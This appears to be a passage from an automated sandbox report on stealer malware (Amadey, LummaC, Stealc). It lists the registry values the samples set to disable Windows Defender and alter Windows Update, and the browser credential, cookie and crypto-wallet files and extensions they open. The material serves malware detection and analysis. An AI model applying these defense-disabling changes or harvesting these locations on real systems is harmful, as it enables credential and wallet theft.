Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002748001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000001.00000003.2292822450.0000000000D09000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2292749647.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2292690552.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 445877ac99.exe, 0000000B.00000003.3231571341.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2980536638.0000000000F8F000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2966930499.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2965692859.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.3231325797.0000000000F8C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 38.2.XNXDGT6D647USNMWPLK.exe.ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.7e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.FMQRQQBV70LQ52SA3P6LYU.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2454622073.0000000000EC1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2476648723.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2436361333.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2668893357.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.3306511315.0000000004D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.3367199801.0000000000EF1000.00000040.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2410032085.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: b0a3006fe7.exe PID: 6964, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 1048, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 445877ac99.exe PID: 364, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 27.0.num.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.num.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.num.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.num.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.d319b3db9a.exe.a20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.d319b3db9a.exe.a20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000000.2984929700.0000000000A51000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.3262528586.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3246382024.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.3262383199.0000000000A51000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3337935516.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.2984970513.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3340336007.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3336590908.0000000000A51000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2887185051.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3007015079.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3124725188.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3000892986.0000000000A51000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2941246980.0000000000A21000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2940937708.000000000087E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3255449606.0000000000A21000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3014369774.000000000147E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d319b3db9a.exe PID: 3700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 3108, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Wallets/Electrum
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 445877ac99.exe, 0000001E.00000003.3249825676.00000000012CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000001.00000003.2257484498.0000000000CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000001.00000003.2230449853.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: file.exe, 00000001.00000003.2230449853.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\EthereumMv
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
